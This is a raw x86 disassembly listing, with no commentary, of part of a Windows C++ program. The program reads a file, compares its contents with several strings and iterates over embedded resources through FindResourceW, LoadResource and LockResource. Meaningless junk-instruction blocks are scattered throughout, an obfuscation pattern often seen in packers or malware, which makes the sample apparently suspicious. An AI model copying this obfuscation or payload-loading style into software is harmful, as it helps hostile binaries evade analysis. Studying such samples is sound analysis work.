push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x65
jmp 0x40498d
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x28
jne 0x40498d
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x61
jmp 0x40489d
jmp 0x404878
push 1
push 0x40
push 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x500], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
lea ecx, [ebp - 0xa18]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x728]
call fcn.0040e4d0
lea ecx, [ebp - 0xa18]
call fcn.0040f630
push 0x41b600
lea ecx, [ebp - 0x150]
call fcn.0040ec80
mov byte [ebp - 0x1d], 0
mov edx, dword [ebp - 0x728]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx ecx, al
test ecx, ecx
je 0x404da0
push 2
push 0
push 0
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea edx, [ebp - 0xcf0]
push edx
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.0040fe80
mov dword [ebp - 0x134], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0x240]
call fcn.0040ed50
push 1
push 1
lea ecx, [ebp - 0xd98]
call fcn.0040e7d0
cmp dword [ebp - 0x134], 0
je 0x404d7d
mov eax, dword [ebp - 0x134]
push eax
lea ecx, [ebp - 0x240]
call fcn.00417470
mov ecx, dword [ebp - 0x134]
xor edx, edx
push edx
push ecx
push 0
lea ecx, [ebp - 0x240]
call fcn.0040fda0
push eax
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x728]
call fcn.004141a0
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0xa30]
push ecx
call fcn.00407290
add esp, 8
push eax
lea ecx, [ebp - 0x240]
call fcn.0040fa90
lea ecx, [ebp - 0xa30]
call fcn.0040f630
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x394], esp
push 0x42045c
call fcn.0040eb10
lea edx, [ebp - 0x240]
push edx
lea eax, [ebp - 0xa48]
push eax
call fcn.004075f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x240]
call fcn.0040fa90
lea ecx, [ebp - 0xa48]
call fcn.0040f630
lea ecx, [ebp - 0x240]
push ecx
lea ecx, [ebp - 0xd98]
call fcn.00417f80
mov edx, dword [ebp - 0xd98]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0xd98]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
movzx ecx, al
test ecx, ecx
jne 0x404d7b
lea ecx, [ebp - 0x228]
call fcn.0040ed50
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0xd98]
push eax
call fcn.0040dd50
add esp, 8
lea ecx, [ebp - 0x228]
call fcn.004144c0
movzx ecx, al
test ecx, ecx
je 0x404ba8
lea ecx, [ebp - 0x228]
call fcn.0040f630
jmp 0x404b47
mov byte [ebp - 0x41], 0
push 0
push 0x41b604
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0xac0]
push eax
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 1
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b608
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0xaa8]
push edx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 2
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b60c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0xa90]
push ecx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 4
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b610
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0xa78]
push eax
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 8
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b614
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0xa60]
push edx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 0x10
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
mov dword [ebp - 0x1c4], 0
jmp 0x404cc4
mov dword [ebp - 0x1c4], 1
mov al, byte [ebp - 0x1c4]
mov byte [ebp - 0x7d], al
mov ecx, dword [ebp - 0x1c]
and ecx, 0x10
je 0x404ce4
and dword [ebp - 0x1c], 0xffffffef
lea ecx, [ebp - 0xa60]
call fcn.0040f630
mov edx, dword [ebp - 0x1c]
and edx, 8
je 0x404cfb
and dword [ebp - 0x1c], 0xfffffff7
lea ecx, [ebp - 0xa78]
call fcn.0040f630
mov eax, dword [ebp - 0x1c]
and eax, 4
je 0x404d12
and dword [ebp - 0x1c], 0xfffffffb
lea ecx, [ebp - 0xa90]
call fcn.0040f630
mov ecx, dword [ebp - 0x1c]
and ecx, 2
je 0x404d29
and dword [ebp - 0x1c], 0xfffffffd
lea ecx, [ebp - 0xaa8]
call fcn.0040f630
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x404d40
and dword [ebp - 0x1c], 0xfffffffe
lea ecx, [ebp - 0xac0]
call fcn.0040f630
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x404d4c
mov byte [ebp - 0x41], 1
movzx ecx, byte [ebp - 0x41]
test ecx, ecx
jne 0x404d5a
mov byte [ebp - 0x1d], 1
jmp 0x404d6b
lea edx, [ebp - 0x228]
push edx
mov ecx, 0x420474
call fcn.00416650
lea ecx, [ebp - 0x228]
call fcn.0040f630
jmp 0x404b47
jmp 0x404d88
lea ecx, [ebp - 0x728]
call fcn.004141a0
lea ecx, [ebp - 0xd98]
call fcn.00410180
lea ecx, [ebp - 0x240]
call fcn.0040f630
jmp 0x404da4
mov byte [ebp - 0x1d], 1
movzx eax, byte [ebp - 0x1d]
test eax, eax
jne 0x404dc2
mov ecx, 0x420474
call fcn.00414520
movzx ecx, al
cmp ecx, 1
jne 0x404dc2
mov byte [ebp - 0x1d], 1
push ecx
and ecx, ecx
mov ecx, 0x52037e5
sbb ecx, ebx
add ecx, esp
nop
pop ecx
mov dword [ebp - 0xc4], 0
jmp 0x404deb
mov edx, dword [ebp - 0xc4]
add edx, 1
mov dword [ebp - 0xc4], edx
mov ecx, 0x420474
call fcn.00417ef0
cmp dword [ebp - 0xc4], eax
jae 0x404e59
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x398], esp
push 0x42045c
call fcn.0040eb10
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, 0x420474
call fcn.0040fe40
push eax
lea ecx, [ebp - 0xad8]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
mov edx, dword [ebp - 0xc4]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0xad8]
call fcn.0040f630
jmp 0x404ddc
movzx eax, word [0x4203b0]
cmp eax, 0x50
je 0x404e79
mov cx, word [0x4203b0]
add cx, 1
mov word [0x4203b0], cx
jmp 0x404e59
push edx
and edx, edi
mov edx, 0x12620c2a
sub edx, edx
xor edx, ebx
nop
pop edx
call fcn.00407990
movzx edx, al
test edx, edx
jne 0x404faa
mov eax, dword [ebp - 0x40]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x30]
push edx
lea ecx, [ebp - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x670]
call fcn.004141e0
mov dword [ebp - 0x210], 0
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x210]
jmp 0x406a84
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x39c], esp
push 0x41b3b6
call fcn.0040ec80
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004093b0
add esp, 0x20
mov dword [ebp - 0x38], eax
push edx
or edx, ebp
xor edx, edi
mov edx, 0x533944f2
sub edx, ebx
nop
pop edx
movzx edx, byte [ebp - 0x1d]
test edx, edx
je 0x4050ed
push edi
mov edi, 0x5ab668b2
sbb edi, edx
add edi, ebx
xor edi, ecx
nop
pop edi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3a0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3a4], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x4050df
push ebp
mov ebp, 0x5d0e2717
mov ebp, 0x1fb6787b
sub ebp, edi
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3a8], esp
push 0x41b3b7
call fcn.0040ec80
push 1
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3ac], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3b0], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3b4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3b8], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
push edi
sub edi, esp
mov edi, 0x5eed4d96
xor edi, esp
or edi, eax
nop
pop edi
cmp dword [ebp - 0x38], 0
jne 0x40538b
push 0
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3bc], esp
lea edx, [ebp - 0x578]
push edx
call fcn.0040eb10
lea eax, [ebp - 0x560]
push eax
call fcn.00408e10
add esp, 0x24
lea ecx, [ebp - 0x560]
call fcn.004144c0
movzx ecx, al
test ecx, ecx
je 0x405141
mov dword [ebp - 0x38], 1
jmp 0x4051c7
mov byte [ebp - 0x42], 1
mov dword [ebp - 0x114], 0
jmp 0x405160
mov edx, dword [ebp - 0x114]
add edx, 1
mov dword [ebp - 0x114], edx
lea ecx, [ebp - 0x560]
call fcn.00417e50
cmp dword [ebp - 0x114], eax
jae 0x40519e
mov eax, dword [ebp - 0x114]
push eax
lea ecx, [ebp - 0x560]
call fcn.0040fda0
movsx ecx, byte [eax]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
add esp, 4
test eax, eax
jne 0x40519c
mov byte [ebp - 0x42], 0
jmp 0x40519e
jmp 0x405151
movzx edx, byte [ebp - 0x42]
test edx, edx
jne 0x4051af
mov dword [ebp - 0x38], 1
jmp 0x4051c7
lea ecx, [ebp - 0x560]
call fcn.00413f90
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov dword [ebp - 0x38], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c0], esp
push 0x41b3bb
call fcn.0040ec80
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.004094b0
add esp, 0x24
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c4], esp
push 0x41b3c1
call fcn.0040ec80
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004096a0
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c8], esp
push 0x41b3c2
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004097b0
add esp, 0x20
push edx
mov edx, 0x93a7bc2
mov edx, 0x58f408de
add edx, ecx
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3cc], esp
push 0x41b3c3
call fcn.0040ec80
push 1
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3d0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3d4], esp
push 0x42045c
call fcn.0040eb10
push 3
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3d8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3dc], esp
push 0x42045c
call fcn.0040eb10
push 3
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
push edi
mov edi, 0x20824b67
sbb edi, esp
sbb edi, edi
and edi, eax
nop
pop edi
push edi
mov edi, 0x29575be1
mov edi, 0x52513c93
sub edi, edi
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3e0], esp
push 0x41b3c6
call fcn.0040ec80
push 1
push 1
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3e4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3e8], esp
push 0x42045c
call fcn.0040eb10
push 4
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3ec], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f0], esp
push 0x42045c
call fcn.0040eb10
push 4
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
lea ecx, [ebp - 0x560]
call fcn.0040f630
mov edx, dword [ebp - 0x40]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x670]
call fcn.004141e0
push edi
mov edi, 0x369b3926
mov edi, 0x4d6a754f
sbb edi, ecx
pop edi
push ecx
and ecx, edi
mov ecx, 0x603f3b4d
mov ecx, 0x17e1120c
pop ecx
cmp dword [ebp - 0x38], 0
je 0x40561d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f4], esp
push 0x41b3c7
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004098c0
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f8], esp
push 0x41b3cb
call fcn.0040ec80
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.00409a60
add esp, 0x20
mov byte [ebp - 0x1e], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3fc], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x400], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405515
push eax
or eax, eax
and eax, edi
mov eax, 0x22c204da
sbb eax, eax
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0x420480
call fcn.0040eb10
push 0
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x408], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x40c], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x410], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x414], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x40550f
jmp 0x405513
mov byte [ebp - 0x1e], 1
jmp 0x405519
mov byte [ebp - 0x1e], 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x418], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x41c], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x40560d
push ebx
mov ebx, 0x3a271391
or ebx, edx
mov ebx, 0x6c1e7656
pop ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x420], esp
push 0x4203b4
call fcn.0040eb10
push 0
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x424], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x428], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x42c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x430], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405607
jmp 0x40560b
mov byte [ebp - 0x1e], 1
jmp 0x405611
mov byte [ebp - 0x1e], 1
movzx eax, byte [ebp - 0x1e]
test eax, eax
jne 0x40561d
mov byte [ebp - 0xd], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x434], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x438], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x40570d
push edi
mov edi, 0x552a2507
add edi, edx
mov edi, 0x798707d3
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x43c], esp
push 0x41b3d3
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x440], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x444], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x448], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x44c], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x40570d
mov byte [ebp - 0xd], 0
push eax
mov eax, 0x776c7bc4
or eax, eax
mov eax, 0x6f23689f
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x450], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x454], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x40580b
push eax
mov eax, 0x5b9b5327
sbb eax, eax
add eax, esp
sbb eax, esp
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x458], esp
push 0x41b3e2
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x45c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x460], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x464], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x468], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x40580b
mov byte [ebp - 0xd], 0
push edi
add edi, ebx
or edi, edi
mov edi, 0x4d032413
sbb edi, ebp
nop
pop edi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x46c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x470], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x405909
push ecx
and ecx, esp
mov ecx, 0x7c317a14
sub ecx, eax
xor ecx, esi
nop
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x474], esp
push 0x41b3e3
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x478], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x47c], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x480], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x484], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x405909
mov byte [ebp - 0xd], 0
push ebx
mov ebx, 0x5fb9271c
mov ebx, 0x9ad5479
sbb ebx, ebp
pop ebx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x488], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x48c], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x405a07
push ebx
mov ebx, 0x62a2f09
mov ebx, 0x36c47c8e
and ebx, edi
pop ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x490], esp
push 0x41b3fd
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x494], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x498], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x49c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4a0], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x405a07
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1cc], ecx
mov edx, dword [ebp - 0x1cc]
push edx
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
push ebx
mov ebx, 0x51805840
mov ebx, 0x35094f42
xor ebx, eax
pop ebx
cmp dword [ebp - 0x2c], 0
jne 0x405a79
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x4c], 1
jmp 0x405a8b
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
push ecx
lea edx, [ebp - 0xaf0]
push edx
call fcn.004181b0
add esp, 8
push eax
push 0x41b618
lea eax, [ebp - 0x318]
push eax
call fcn.0040c1b0
add esp, 0xc
lea ecx, [ebp - 0xaf0]
call fcn.0040f670
push 3
lea ecx, [ebp - 0x318]
call fcn.00413fd0
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x405b43
cmp dword [ebp - 0x4c], 0x6e
jne 0x405b31
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x318]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x318]
call fcn.0040f670
jmp 0x405a82
cmp dword [ebp - 0x4c], 0x6e
jne 0x405b9f
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ecx
mov ecx, 0x6ab63aa6
mov ecx, 0xe9d7e46
sbb ecx, eax
pop ecx
lea ecx, [ebp - 0x318]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x318]
call fcn.0040f670
jmp 0x405bbc
push ebp
xor ebp, ecx
mov ebp, 0x3c59265c
mov ebp, 0x3e6e0325
pop ebp
mov ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jne 0x405c25
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x405c7c
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ecx
mov ecx, 0x5322221c
sbb ecx, esp
and ecx, esp
